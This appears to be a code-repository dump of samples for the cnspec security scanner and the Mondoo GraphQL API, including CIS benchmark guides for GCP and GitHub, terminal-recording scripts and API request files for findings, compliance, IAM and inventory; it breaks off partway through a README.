Google Cloud Foundations Benchmark using `cnspec`. The CIS (Center for Internet Security) Google Cloud Foundations Benchmark provides a set of security configuration best practices for Google Cloud. Performing this benchmark will help ensure that your GCP project is secure and adheres to the principles of least privilege and defense in depth. 6 | 7 | ## Pre-requisites 8 | 9 | - You should have the `cnspec` installed. You can follow the [installation instructions](https://github.com/mondoohq/cnspec#installation) to set it up. 10 | - You need an Google Cloud service account and the necessary permissions. 11 | - The Google Cloud SDK installed and configured with access to the project you wish to scan. 12 | 13 | ## Instructions 14 | 15 | To scan a Google Cloud project against the CIS Google Cloud Foundations Benchmark: 16 | 17 | ```bash 18 | cnspec scan gcp --project-id --policy mondoo-cis-gcp-foundations-benchmark 19 | ``` 20 | 21 | This command instructs `cnspec` to scan a Google Cloud project using the CIS Google Cloud Foundations Benchmark, discovering all the resources and security issues in your account. 22 | 23 | ## Results 24 | 25 | `cnspec` generates a report detailing the security status of your GCP project according to the CIS Google Cloud Foundations Benchmark. The report will identify any security vulnerabilities or misconfigurations and recommend potential areas for improvement. 26 | 27 | ![cnspec running a CIS Google Cloud Foundation Benchmark](./gcp-project-cis-benchmark.gif) 28 | 29 | ## Troubleshoot 30 | 31 | - **`cnspec` issues**: Make sure that `cnspec` is installed correctly. If you have trouble running `cnspec`, try updating to the latest version or re-installing the tool. 32 | - **gcloud SDK CLI**: Ensure that `gcloud` CLI is [installed and configured](https://cloud.google.com/sdk/docs/install-sdk) correctly. Verify that you are using the correct account or service account credentials. If you encounter permission errors, check your IAM role and permissions. 33 | - **Benchmark execution issues**: If the benchmark does not execute as expected, ensure that you have the necessary permissions to access all resources in your Google Cloud project. 34 | 35 | If you encounter a problem that is not addressed in this guide, feel free to raise an issue in this GitHub repository. For more complex or ongoing issues, consider participating in our [GitHub discussions](https://github.com/orgs/mondoohq/discussions) page. We're here to help! 36 | -------------------------------------------------------------------------------- /gcp/cis-benchmark/gcp-project-cis-benchmark.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mondoohq/samples/d063ef3c446687b3214dd175b2d4087e73cc1c0a/gcp/cis-benchmark/gcp-project-cis-benchmark.gif -------------------------------------------------------------------------------- /gcp/cis-benchmark/gcp-project-cis-benchmark.mp4: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mondoohq/samples/d063ef3c446687b3214dd175b2d4087e73cc1c0a/gcp/cis-benchmark/gcp-project-cis-benchmark.mp4 -------------------------------------------------------------------------------- /gcp/cis-benchmark/recording.tape: -------------------------------------------------------------------------------- 1 | # configure vhs 2 | Set Shell bash 3 | Set FontSize 16 4 | Set Width 1200 5 | Set Height 700 6 | Set PlaybackSpeed 2.0 7 | Set Margin 20 8 | Set MarginFill "#9147FF" 9 | Set BorderRadius 10 10 | 11 | # set output 12 | Output gcp-project-cis-benchmark.gif 13 | Output gcp-project-cis-benchmark.mp4 14 | 15 | # load environment variables 16 | Hide 17 | Type "source .env" 18 | Enter 19 | Type "clear" 20 | Enter 21 | Sleep 1s 22 | Show 23 | 24 | # run commands 25 | Type "cnspec scan gcp project luna-common --policy mondoo-cis-gcp-foundations-benchmark" 26 | Sleep 500ms 27 | Enter 28 | Sleep 60s -------------------------------------------------------------------------------- /github/cis-supply-chain/README.md: -------------------------------------------------------------------------------- 1 | # GitHub: Running the CIS GitHub Benchmark with cnspec 2 | 3 | > NOTE: CIS GitHub Benchmark requires a subscription 4 | 5 | ## Overview 6 | 7 | This guide provides an example on how to execute the CIS (Center for Internet Security) GitHub Benchmark on GitHub repositories and organizations using the `cnspec` and Mondoo Platform. These benchmarks offer a standardized set of procedures to assess the security posture of GitHub repositories and organizations, helping to identify vulnerabilities or potential areas for security enhancements. 8 | 9 | ## Pre-requisites 10 | 11 | - Mondoo Space: Create a new space on Mondoo Platform and activate the 'CIS GitHub Benchmark - Level 1' benchmark in the Security Registry. 12 | - `cnspec` Login: Authenticate with your newly created Mondoo space using `cnspec login -t ` . 13 | - Organization Access: Ensure you have access to the target GitHub organization, for example https://github.com/lunalectric. 14 | - GitHub Token: Generate a GitHub token with Resource owner set to lunalectric and all permissions set to read. 15 | 16 | ## Instructions 17 | 18 | ### CLI: Scanning an Individual Repository 19 | 20 | Set your GitHub token as an environment variable with the name GITHUB_TOKEN: 21 | 22 | ```bash 23 | export GITHUB_TOKEN='your_github_token' 24 | ``` 25 | 26 | > Note: GitHub's fine-grained tokens currently do not allow you to verify packages. For updates, follow this GitHub Roadmap issue. 27 | 28 | Then, use `cnspec` to scan an individual repository. For example, to scan the online-shop repository in the lunalectric organization with the mondoo-github-organization-security-level-1 policy, use the following command: 29 | 30 | ```bash 31 | cnspec scan github repo lunalectric/online-shop 32 | ``` 33 | 34 | ### Scanning the Organization 35 | 36 | To scan all repositories in the `lunalectric` organization with the `mondoo-github-organization-security-level-1` policy, use the following command: 37 | 38 | ```bash 39 | cnspec scan github org lunalectric --discover organization 40 | ``` 41 | 42 | ### Mondoo Platform 43 | 44 | For more detailed instructions, visit the [Mondoo Platform Documentation](https://mondoo.com/docs/platform/infra/saas/github/). Remember to enable the `CIS GitHub Benchmark - Level 1` benchmark as described in the documentation. 45 | 46 | ## Results 47 | 48 | Upon successfully running the commands, `cnspec` will generate a report detailing the security status of the scanned GitHub repository or organization. This report will identify any security vulnerabilities and recommend potential areas for improvement in accordance with the CIS GitHub Benchmark. 49 | 50 | ![cnspec running a GitHub organization scan](github-supply-chain.gif) 51 | 52 | ## Troubleshoot 53 | 54 | If you encounter any issues while performing these steps: 55 | 56 | - Authentication Issues: Double-check your Mondoo credentials with `cnspec status` and GitHub token. Ensure they are set correctly in the environment variables. 57 | - Permission Issues: Verify that you have the necessary permissions to access and scan the GitHub organization or repositories. This may involve checking the settings of your GitHub token and your role within the organization. 58 | - Command Execution Issues: If the `cnspec`` commands are not executing as expected, ensure that cnspec is installed and updated to the latest version. 59 | 60 | Should you encounter a problem that is not addressed in this guide, feel free to open an issue in this GitHub repository. For ongoing issues or broader discussions, we invite you to join us over at our [GitHub discussions](https://github.com/orgs/mondoohq/discussions) page. We're here to help! 61 | -------------------------------------------------------------------------------- /github/cis-supply-chain/github-supply-chain.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mondoohq/samples/d063ef3c446687b3214dd175b2d4087e73cc1c0a/github/cis-supply-chain/github-supply-chain.gif -------------------------------------------------------------------------------- /github/cis-supply-chain/github-supply-chain.mp4: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mondoohq/samples/d063ef3c446687b3214dd175b2d4087e73cc1c0a/github/cis-supply-chain/github-supply-chain.mp4 -------------------------------------------------------------------------------- /github/cis-supply-chain/recording.tape: -------------------------------------------------------------------------------- 1 | # configure vhs 2 | Set Shell bash 3 | Set FontSize 16 4 | Set Width 1200 5 | Set Height 700 6 | Set PlaybackSpeed 2.0 7 | Set Margin 20 8 | Set MarginFill "#9147FF" 9 | Set BorderRadius 10 10 | 11 | # set output 12 | Output github-supply-chain.gif 13 | Output github-supply-chain.mp4 14 | 15 | # load environment variables 16 | Hide 17 | Type "source .env" 18 | Enter 19 | Type "clear" 20 | Enter 21 | Sleep 1s 22 | Show 23 | 24 | # run commands 25 | Type "cnspec scan github org lunalectric --discover organization" 26 | Sleep 500ms 27 | Enter 28 | Sleep 65s -------------------------------------------------------------------------------- /graphql-api/.gitignore: -------------------------------------------------------------------------------- 1 | .env -------------------------------------------------------------------------------- /graphql-api/Compliance/Framework- Disable.bru: -------------------------------------------------------------------------------- 1 | meta { 2 | name: Disable 3 | type: graphql 4 | seq: 2 5 | } 6 | 7 | post { 8 | url: https://{{endpoint}}/query 9 | body: graphql 10 | auth: bearer 11 | } 12 | 13 | auth:bearer { 14 | token: {{MONDOO_API_TOKEN}} 15 | } 16 | 17 | body:graphql { 18 | mutation ApplyFramework($input: ComplianceFrameworkMutationInput!) { 19 | applyFrameworkMutation(input: $input) 20 | } 21 | 22 | } 23 | 24 | body:graphql:vars { 25 | { 26 | "input": { 27 | "action": "PREVIEW", 28 | "frameworkMrn": "//policy.api.mondoo.app/frameworks/iso-27001-2022", 29 | "scopeMrn": "{{spaceMrn}}" 30 | } 31 | } 32 | } 33 | -------------------------------------------------------------------------------- /graphql-api/Compliance/Framework- Enable.bru: -------------------------------------------------------------------------------- 1 | meta { 2 | name: Enable 3 | type: graphql 4 | seq: 1 5 | } 6 | 7 | post { 8 | url: https://{{endpoint}}/query 9 | body: graphql 10 | auth: bearer 11 | } 12 | 13 | auth:bearer { 14 | token: {{MONDOO_API_TOKEN}} 15 | } 16 | 17 | body:graphql { 18 | mutation ApplyFramework($input: ComplianceFrameworkMutationInput!) { 19 | applyFrameworkMutation(input: $input) 20 | } 21 | 22 | } 23 | 24 | body:graphql:vars { 25 | { 26 | "input": { 27 | "action": "ENABLE", 28 | "frameworkMrn": "//policy.api.mondoo.app/frameworks/iso-27001-2022", 29 | "scopeMrn": "{{spaceMrn}}" 30 | } 31 | } 32 | } 33 | -------------------------------------------------------------------------------- /graphql-api/Compliance/folder.bru: -------------------------------------------------------------------------------- 1 | meta { 2 | name: Compliance 3 | seq: 6 4 | } 5 | -------------------------------------------------------------------------------- /graphql-api/Findings/Asset- Findings - Advisories.bru: -------------------------------------------------------------------------------- 1 | meta { 2 | name: Findings - Advisories 3 | type: graphql 4 | seq: 3 5 | } 6 | 7 | post { 8 | url: https://{{endpoint}}/query 9 | body: graphql 10 | auth: bearer 11 | } 12 | 13 | auth:bearer { 14 | token: {{MONDOO_API_TOKEN}} 15 | } 16 | 17 | body:graphql { 18 | query GetAdvisories( 19 | $scopeMrn: String! 20 | $first: Int 21 | $after: String 22 | $last: Int 23 | $before: String 24 | $orderBy: FindingsOrder 25 | $filter: FindingsFilter 26 | ) { 27 | findings( 28 | scopeMrn: $scopeMrn 29 | first: $first 30 | after: $after 31 | last: $last 32 | before: $before 33 | orderBy: $orderBy 34 | filter: $filter 35 | ) { 36 | ... on FindingsConnection { 37 | totalCount 38 | filteredTotalCount 39 | edges { 40 | cursor 41 | node { 42 | ... on AdvisoryFinding { 43 | id 44 | mrn 45 | title 46 | asset { 47 | id 48 | } 49 | rating 50 | riskValue 51 | lastUpdated 52 | publishedAt 53 | firstDetectedAt 54 | iconId 55 | tags { 56 | key 57 | value 58 | } 59 | riskFactors { 60 | mrn 61 | indicator 62 | title 63 | affected 64 | total 65 | isPositive 66 | } 67 | state 68 | exception { 69 | id 70 | exceptionId 71 | scope 72 | reviewStatus 73 | action 74 | } 75 | } 76 | } 77 | } 78 | pageInfo { 79 | startCursor 80 | endCursor 81 | hasNextPage 82 | hasPreviousPage 83 | } 84 | } 85 | ... on RequestError { 86 | message 87 | code 88 | } 89 | ... on NotFoundError { 90 | message 91 | code 92 | } 93 | } 94 | } 95 | 96 | } 97 | 98 | body:graphql:vars { 99 | { 100 | "scopeMrn": "//assets.api.mondoo.app/spaces/amazing-dhawan-655469/assets/2xBRZXUn3AY0SubVEY6y8as6k8P", 101 | "first": 10, 102 | "orderBy": { 103 | "direction": "DESC", 104 | "field": "RISK_VALUE" 105 | }, 106 | "filter": { 107 | "types": [ 108 | "ADVISORY" 109 | ], 110 | "state": "OPEN", 111 | "rating": [ 112 | "LOW", 113 | "MEDIUM", 114 | "HIGH", 115 | "CRITICAL" 116 | ], 117 | "queryTerms": [], 118 | "includeCicd": false 119 | } 120 | } 121 | } 122 | -------------------------------------------------------------------------------- /graphql-api/Findings/Asset- Findings - Check.bru: -------------------------------------------------------------------------------- 1 | meta { 2 | name: Findings - Check 3 | type: graphql 4 | seq: 1 5 | } 6 | 7 | post { 8 | url: https://{{endpoint}}/query 9 | body: graphql 10 | auth: bearer 11 | } 12 | 13 | auth:bearer { 14 | token: {{MONDOO_API_TOKEN}} 15 | } 16 | 17 | body:graphql { 18 | query GetChecks( 19 | $scopeMrn: String! 20 | $first: Int 21 | $after: String 22 | $last: Int 23 | $before: String 24 | $orderBy: FindingsOrder 25 | $filter: FindingsFilter 26 | ) { 27 | findings( 28 | scopeMrn: $scopeMrn 29 | first: $first 30 | after: $after 31 | last: $last 32 | before: $before 33 | orderBy: $orderBy 34 | filter: $filter 35 | ) { 36 | ... on FindingsConnection { 37 | totalCount 38 | filteredTotalCount 39 | edges { 40 | cursor 41 | node { 42 | ... on CheckFinding { 43 | id 44 | mrn 45 | title 46 | asset { 47 | id 48 | } 49 | rating 50 | state 51 | resultType 52 | riskValue 53 | state 54 | lastUpdated 55 | tags { 56 | key 57 | value 58 | } 59 | riskFactors { 60 | mrn 61 | indicator 62 | title 63 | affected 64 | total 65 | isPositive 66 | } 67 | exception { 68 | id 69 | exceptionId 70 | scope 71 | reviewStatus 72 | action 73 | justification 74 | } 75 | } 76 | } 77 | } 78 | pageInfo { 79 | startCursor 80 | endCursor 81 | hasNextPage 82 | hasPreviousPage 83 | } 84 | } 85 | ... on RequestError { 86 | message 87 | code 88 | } 89 | ... on NotFoundError { 90 | message 91 | code 92 | } 93 | } 94 | } 95 | 96 | } 97 | 98 | body:graphql:vars { 99 | { 100 | "scopeMrn": "{{spaceMrn}}", 101 | "first": 10, 102 | "orderBy": { 103 | "direction": "DESC", 104 | "field": "RISK_VALUE" 105 | } 106 | } 107 | } 108 | -------------------------------------------------------------------------------- /graphql-api/Findings/Asset- Findings - Software.bru: -------------------------------------------------------------------------------- 1 | meta { 2 | name: Findings - Software 3 | type: graphql 4 | seq: 4 5 | } 6 | 7 | post { 8 | url: https://{{endpoint}}/query 9 | body: graphql 10 | auth: bearer 11 | } 12 | 13 | auth:bearer { 14 | token: {{MONDOO_API_TOKEN}} 15 | } 16 | 17 | body:graphql { 18 | query GetAssetPackages( 19 | $scopeMrn: String! 20 | $first: Int 21 | $after: String 22 | $last: Int 23 | $before: String 24 | $orderBy: FindingsOrder 25 | $filter: FindingsFilter 26 | ) { 27 | findings( 28 | scopeMrn: $scopeMrn 29 | first: $first 30 | after: $after 31 | last: $last 32 | before: $before 33 | orderBy: $orderBy 34 | filter: $filter 35 | ) { 36 | ... on FindingsConnection { 37 | edges { 38 | cursor 39 | node { 40 | ... on PackageFinding { 41 | id 42 | baseScore 43 | riskValue 44 | rating 45 | packageName 46 | installedVersion 47 | availableVersion 48 | lastUpdated 49 | firstFound 50 | cvss { 51 | value 52 | vector 53 | } 54 | epss { 55 | probability 56 | percentile 57 | } 58 | iconId 59 | packageType 60 | riskFactors { 61 | mrn 62 | indicator 63 | title 64 | affected 65 | total 66 | isPositive 67 | } 68 | platform 69 | tags { 70 | key 71 | value 72 | } 73 | asset { 74 | id 75 | mrn 76 | name 77 | icon 78 | lastUpdated 79 | platform { 80 | name 81 | title 82 | arch 83 | version 84 | kind 85 | runtime 86 | family 87 | labels { 88 | key 89 | value 90 | } 91 | } 92 | } 93 | } 94 | } 95 | } 96 | filteredTotalCount 97 | pageInfo { 98 | startCursor 99 | endCursor 100 | hasNextPage 101 | hasPreviousPage 102 | } 103 | totalCount 104 | } 105 | ... on RequestError { 106 | message 107 | code 108 | } 109 | ... on NotFoundError { 110 | message 111 | code 112 | } 113 | } 114 | } 115 | 116 | } 117 | 118 | body:graphql:vars { 119 | { 120 | "scopeMrn": "//assets.api.mondoo.app/spaces/amazing-dhawan-655469/assets/2xBRZXUn3AY0SubVEY6y8as6k8P", 121 | "first": 10, 122 | "filter": { 123 | "queryTerms": [], 124 | "types": [ 125 | "OS_PACKAGE", 126 | "PACKAGE" 127 | ], 128 | "includeCicd": false, 129 | "state": "OPEN" 130 | }, 131 | "orderBy": { 132 | "direction": "DESC", 133 | "field": "RISK_VALUE" 134 | } 135 | } 136 | } 137 | -------------------------------------------------------------------------------- /graphql-api/Findings/Asset- Findings - Vulnerabiltiies.bru: -------------------------------------------------------------------------------- 1 | meta { 2 | name: Findings - Vulnerabiltiies 3 | type: graphql 4 | seq: 2 5 | } 6 | 7 | post { 8 | url: https://{{endpoint}}/query 9 | body: graphql 10 | auth: bearer 11 | } 12 | 13 | auth:bearer { 14 | token: {{MONDOO_API_TOKEN}} 15 | } 16 | 17 | body:graphql { 18 | query GetCVEs( 19 | $scopeMrn: String! 20 | $first: Int 21 | $after: String 22 | $last: Int 23 | $before: String 24 | $orderBy: FindingsOrder 25 | $filter: FindingsFilter 26 | ) { 27 | findings( 28 | scopeMrn: $scopeMrn 29 | first: $first 30 | after: $after 31 | last: $last 32 | before: $before 33 | orderBy: $orderBy 34 | filter: $filter 35 | ) { 36 | ... on FindingsConnection { 37 | totalCount 38 | filteredTotalCount 39 | edges { 40 | cursor 41 | node { 42 | ... on CveFinding { 43 | id 44 | mrn 45 | title 46 | asset { 47 | id 48 | } 49 | rating 50 | riskValue 51 | lastUpdated 52 | publishedAt 53 | state 54 | tags { 55 | key 56 | value 57 | } 58 | riskFactors { 59 | mrn 60 | indicator 61 | title 62 | affected 63 | total 64 | isPositive 65 | } 66 | lastUpdated 67 | exception { 68 | id 69 | exceptionId 70 | scope 71 | reviewStatus 72 | action 73 | } 74 | } 75 | } 76 | } 77 | pageInfo { 78 | startCursor 79 | endCursor 80 | hasNextPage 81 | hasPreviousPage 82 | } 83 | } 84 | ... on RequestError { 85 | message 86 | code 87 | } 88 | ... on NotFoundError { 89 | message 90 | code 91 | } 92 | } 93 | } 94 | 95 | } 96 | 97 | body:graphql:vars { 98 | { 99 | "scopeMrn": "//assets.api.mondoo.app/spaces/amazing-dhawan-655469/assets/2xBRZXUn3AY0SubVEY6y8as6k8P", 100 | "first": 10, 101 | "orderBy": { "direction": "DESC", "field": "RISK_VALUE" }, 102 | "filter": { 103 | "types": ["CVE"], 104 | "state": "OPEN", 105 | "rating": ["LOW", "MEDIUM", "HIGH", "CRITICAL"], 106 | "queryTerms": [], 107 | "includeCicd": false 108 | } 109 | } 110 | } 111 | -------------------------------------------------------------------------------- /graphql-api/Findings/Space- Findings.bru: -------------------------------------------------------------------------------- 1 | meta { 2 | name: Findings 3 | type: graphql 4 | seq: 5 5 | } 6 | 7 | post { 8 | url: https://{{endpoint}}/query 9 | body: graphql 10 | auth: bearer 11 | } 12 | 13 | auth:bearer { 14 | token: {{MONDOO_API_TOKEN}} 15 | } 16 | 17 | body:graphql { 18 | query GetAggregateScores( 19 | $entityMrn: String! 20 | $filter: AggregateScoreFilter 21 | $first: Int 22 | $after: String 23 | $last: Int 24 | $before: String 25 | $orderBy: AggregateScoreOrder 26 | ) { 27 | aggregateScores( 28 | entityMrn: $entityMrn 29 | filter: $filter 30 | first: $first 31 | after: $after 32 | last: $last 33 | before: $before 34 | orderBy: $orderBy 35 | ) { 36 | ... on AggregateScoresConnection { 37 | totalCount 38 | edges { 39 | cursor 40 | node { 41 | id 42 | iconId 43 | state 44 | entity { 45 | ... on EntityInfoAsset { 46 | id 47 | mrn 48 | name 49 | __typename 50 | } 51 | ... on EntityInfoSpace { 52 | id 53 | mrn 54 | name 55 | __typename 56 | } 57 | __typename 58 | } 59 | findingMrn 60 | rank 61 | baseScore 62 | riskValue 63 | rankScore 64 | scoreType 65 | rating 66 | blastRadius { 67 | ...BlastRadiusFields 68 | __typename 69 | } 70 | epss { 71 | probability 72 | percentile 73 | __typename 74 | } 75 | cvss { 76 | id 77 | value 78 | type 79 | vector 80 | source 81 | rating 82 | __typename 83 | } 84 | riskFactors { 85 | mrn 86 | indicator 87 | title 88 | total 89 | affected 90 | isPositive 91 | __typename 92 | } 93 | detectionSources { 94 | name 95 | firstDetectedAt 96 | lastUpdatedAt 97 | affectedAssets 98 | vendor 99 | __typename 100 | } 101 | title 102 | description 103 | tags { 104 | key 105 | value 106 | __typename 107 | } 108 | lastScannedAt 109 | firstDetectedAt 110 | remediatedAt 111 | spaceId 112 | exception { 113 | id 114 | exceptionId 115 | reviewStatus 116 | action 117 | __typename 118 | } 119 | __typename 120 | } 121 | __typename 122 | } 123 | pageInfo { 124 | startCursor 125 | endCursor 126 | hasNextPage 127 | hasPreviousPage 128 | __typename 129 | } 130 | __typename 131 | } 132 | ... on RequestError { 133 | message 134 | code 135 | __typename 136 | } 137 | ... on NotFoundError { 138 | message 139 | code 140 | __typename 141 | } 142 | __typename 143 | } 144 | } 145 | fragment BlastRadiusFields on BlastRadius { 146 | indicator 147 | assets 148 | affected 149 | critical 150 | high 151 | medium 152 | low 153 | none 154 | snoozed 155 | disabled 156 | __typename 157 | } 158 | 159 | } 160 | 161 | body:graphql:vars { 162 | { 163 | "entityMrn": "{{spaceMrn}}", 164 | "first": 50, 165 | "orderBy": { "direction": "ASC", "field": "RANK" }, 166 | "filter": { 167 | "scoreTypes": ["CHECK", "VULNERABILITY"], 168 | "queryTerms": [], 169 | "minRiskValue": null, 170 | "findingMrn": null, 171 | "risks": { "indicators": [], "mrns": { "and": [], "or": [] } } 172 | } 173 | } 174 | } 175 | -------------------------------------------------------------------------------- /graphql-api/Findings/folder.bru: -------------------------------------------------------------------------------- 1 | meta { 2 | name: Findings 3 | seq: 5 4 | } 5 | -------------------------------------------------------------------------------- /graphql-api/IAM/SSH- Add Key.bru: -------------------------------------------------------------------------------- 1 | meta { 2 | name: Add Key 3 | type: graphql 4 | seq: 2 5 | } 6 | 7 | post { 8 | url: https://{{endpoint}}/query 9 | body: graphql 10 | auth: bearer 11 | } 12 | 13 | auth:bearer { 14 | token: {{MONDOO_API_TOKEN}} 15 | } 16 | 17 | body:graphql { 18 | mutation { 19 | addSSHKey ( 20 | input:{ 21 | mrn: "//captain.api.mondoo.app/users/123456", 22 | content: "ssh-ed25519 AAAAC..Nn0UL" 23 | }) { 24 | success 25 | } 26 | } 27 | } 28 | -------------------------------------------------------------------------------- /graphql-api/IAM/SSH- List Keys.bru: -------------------------------------------------------------------------------- 1 | meta { 2 | name: List Keys 3 | type: graphql 4 | seq: 1 5 | } 6 | 7 | post { 8 | url: https://{{endpoint}}/query 9 | body: graphql 10 | auth: bearer 11 | } 12 | 13 | auth:bearer { 14 | token: {{MONDOO_API_TOKEN}} 15 | } 16 | 17 | body:graphql { 18 | { 19 | # need user permissions, not possible with api token 20 | viewer { 21 | mrn 22 | email 23 | sshKeys { 24 | fingerprint 25 | content 26 | } 27 | } 28 | } 29 | } 30 | -------------------------------------------------------------------------------- /graphql-api/IAM/Service Account- List.bru: -------------------------------------------------------------------------------- 1 | meta { 2 | name: List 3 | type: graphql 4 | seq: 3 5 | } 6 | 7 | post { 8 | url: https://{{endpoint}}/query 9 | body: graphql 10 | auth: bearer 11 | } 12 | 13 | auth:bearer { 14 | token: {{MONDOO_API_TOKEN}} 15 | } 16 | 17 | body:graphql { 18 | # To list all service accounts, the API Token needs Editor permissions 19 | query ServiceAccounts( 20 | $scopeMrn: String 21 | $first: Int 22 | $after: String 23 | $query: String 24 | $queryTerms: [String!] 25 | $orderBy: ServiceAccountOrder 26 | ) { 27 | serviceAccounts( 28 | scopeMrn: $scopeMrn 29 | first: $first 30 | after: $after 31 | query: $query 32 | queryTerms: $queryTerms 33 | orderBy: $orderBy 34 | ) { 35 | ...ServiceAccountFields 36 | __typename 37 | } 38 | } 39 | fragment ServiceAccountFields on ServiceAccountConnection { 40 | totalCount 41 | edges { 42 | cursor 43 | node { 44 | id 45 | mrn 46 | name 47 | description 48 | roles { 49 | mrn 50 | title 51 | __typename 52 | } 53 | createdAt 54 | lastUsed 55 | labels { 56 | key 57 | value 58 | __typename 59 | } 60 | creator { 61 | mrn 62 | email 63 | service 64 | __typename 65 | } 66 | notes 67 | __typename 68 | } 69 | __typename 70 | } 71 | pageInfo { 72 | startCursor 73 | endCursor 74 | hasNextPage 75 | __typename 76 | } 77 | __typename 78 | } 79 | 80 | } 81 | 82 | body:graphql:vars { 83 | { 84 | "scopeMrn": "{{spaceMrn}}" 85 | } 86 | } 87 | -------------------------------------------------------------------------------- /graphql-api/IAM/WIF- Create Binding.bru: -------------------------------------------------------------------------------- 1 | meta { 2 | name: Create Binding 3 | type: graphql 4 | seq: 3 5 | } 6 | 7 | post { 8 | url: http://{{endpoint}}/query 9 | body: graphql 10 | auth: bearer 11 | } 12 | 13 | auth:bearer { 14 | token: {{MONDOO_API_TOKEN}} 15 | } 16 | 17 | body:graphql { 18 | mutation { 19 | createWIFAuthBinding( 20 | input: { 21 | name: "test" 22 | scopeMrn: "{{spaceMrn}}" 23 | issuerUri: "https://accounts.google.com" 24 | subject: "1234567890" 25 | } 26 | ) { 27 | binding { 28 | mrn 29 | name 30 | } 31 | config { 32 | audience 33 | issuer_uri 34 | } 35 | } 36 | } 37 | 38 | } 39 | -------------------------------------------------------------------------------- /graphql-api/IAM/WIF- Exchange Token.bru: -------------------------------------------------------------------------------- 1 | meta { 2 | name: Exchange Token 3 | type: http 4 | seq: 5 5 | } 6 | 7 | post { 8 | url: http://{{endpoint}}/SecureTokenService/ExchangeExternalToken 9 | body: json 10 | auth: bearer 11 | } 12 | 13 | auth:bearer { 14 | token: {{MONDOO_API_TOKEN}} 15 | } 16 | 17 | body:json { 18 | { 19 | "audience": "{{spaceMrn}}", 20 | "issuer_uri": "https://accounts.google.com", 21 | "jwt_token": "eyJhbGc...UPgxYdJRw" 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /graphql-api/IAM/WIF- List Bindings.bru: -------------------------------------------------------------------------------- 1 | meta { 2 | name: List Bindings 3 | type: graphql 4 | seq: 4 5 | } 6 | 7 | post { 8 | url: http://{{endpoint}}/query 9 | body: graphql 10 | auth: bearer 11 | } 12 | 13 | auth:bearer { 14 | token: {{MONDOO_API_TOKEN}} 15 | } 16 | 17 | body:graphql { 18 | query { 19 | listWIFAuthBindings(scopeMrn: "{{spaceMrn}}") { 20 | bindings { 21 | name 22 | issuerURI 23 | scope 24 | } 25 | } 26 | } 27 | } 28 | -------------------------------------------------------------------------------- /graphql-api/IAM/folder.bru: -------------------------------------------------------------------------------- 1 | meta { 2 | name: IAM 3 | seq: 7 4 | } 5 | -------------------------------------------------------------------------------- /graphql-api/Inventory/Assets- List.bru: -------------------------------------------------------------------------------- 1 | meta { 2 | name: List 3 | type: graphql 4 | seq: 2 5 | } 6 | 7 | post { 8 | url: https://{{endpoint}}/query 9 | body: graphql 10 | auth: bearer 11 | } 12 | 13 | auth:bearer { 14 | token: {{MONDOO_API_TOKEN}} 15 | } 16 | 17 | body:graphql { 18 | query Assets { 19 | assets(spaceMrn: "{{spaceMrn}}") { 20 | totalCount 21 | edges { 22 | cursor 23 | node { 24 | id 25 | mrn 26 | state 27 | name 28 | updatedAt 29 | referenceIDs 30 | asset_type 31 | score { 32 | grade 33 | value 34 | } 35 | } 36 | } 37 | } 38 | } 39 | 40 | } 41 | -------------------------------------------------------------------------------- /graphql-api/Inventory/Query Pack- List Available.bru: -------------------------------------------------------------------------------- 1 | meta { 2 | name: List Available 3 | type: graphql 4 | seq: 3 5 | } 6 | 7 | post { 8 | url: https://{{endpoint}}/query 9 | body: graphql 10 | auth: bearer 11 | } 12 | 13 | auth:bearer { 14 | token: {{MONDOO_API_TOKEN}} 15 | } 16 | 17 | body:graphql { 18 | { 19 | content( 20 | input: { 21 | scopeMrn: "{{spaceMrn}}" 22 | catalogType: QUERYPACK 23 | assignedOnly: false 24 | includePrivate: true 25 | includePublic: true 26 | } 27 | ) { 28 | totalCount 29 | edges { 30 | node { 31 | __typename 32 | ... on Policy { 33 | mrn 34 | name 35 | version 36 | summary 37 | category 38 | trustLevel 39 | } 40 | } 41 | } 42 | } 43 | } 44 | 45 | } 46 | -------------------------------------------------------------------------------- /graphql-api/Inventory/Query Pack- List Enabled.bru: -------------------------------------------------------------------------------- 1 | meta { 2 | name: List Enabled 3 | type: graphql 4 | seq: 4 5 | } 6 | 7 | post { 8 | url: https://{{endpoint}}/query 9 | body: graphql 10 | auth: bearer 11 | } 12 | 13 | auth:bearer { 14 | token: {{MONDOO_API_TOKEN}} 15 | } 16 | 17 | body:graphql { 18 | { 19 | content( 20 | input: { scopeMrn: "{{spaceMrn}}", catalogType:QUERYPACK, assignedOnly: true } 21 | ) { 22 | totalCount 23 | edges { 24 | node { 25 | __typename 26 | ... on Policy { 27 | mrn 28 | name 29 | version 30 | summary 31 | category 32 | trustLevel 33 | } 34 | } 35 | } 36 | } 37 | } 38 | 39 | } 40 | -------------------------------------------------------------------------------- /graphql-api/Inventory/Search.bru: -------------------------------------------------------------------------------- 1 | meta { 2 | name: Search 3 | type: graphql 4 | seq: 1 5 | } 6 | 7 | post { 8 | url: https://{{endpoint}}/query 9 | body: graphql 10 | auth: bearer 11 | } 12 | 13 | auth:bearer { 14 | token: {{MONDOO_API_TOKEN}} 15 | } 16 | 17 | body:graphql { 18 | query SearchAggregateScore($scopeMrn:String!, $query:String!) { 19 | search(query: $query, scope:$scopeMrn, type:AGGREGATE_SCORE) { 20 | edges { 21 | node { 22 | ... on AggregateScore { 23 | id 24 | title 25 | description 26 | tags { 27 | key 28 | value 29 | } 30 | scoreType 31 | findingMrn 32 | entity { 33 | __typename 34 | ... on EntityInfoAsset{ 35 | mrn 36 | name 37 | } 38 | ... on EntityInfoSpace { 39 | mrn 40 | name 41 | } 42 | } 43 | rank 44 | riskScore 45 | epss { 46 | probability 47 | percentile 48 | } 49 | blastRadius { 50 | indicator 51 | } 52 | riskFactors { 53 | indicator 54 | title 55 | mrn 56 | } 57 | } 58 | } 59 | } 60 | } 61 | } 62 | 63 | 64 | 65 | 66 | } 67 | 68 | body:graphql:vars { 69 | { 70 | "scopeMrn": "{{spaceMrn}}", 71 | "query" : "ebs" 72 | } 73 | } 74 | -------------------------------------------------------------------------------- /graphql-api/Inventory/folder.bru: -------------------------------------------------------------------------------- 1 | meta { 2 | name: Inventory 3 | seq: 3 4 | } 5 | -------------------------------------------------------------------------------- /graphql-api/README.md: -------------------------------------------------------------------------------- 1 | # Mondoo GraphQL API Samples 2 | 3 | This repository contains sample queries for the Mondoo GraphQL API. The queries are written in GraphQL and can be executed 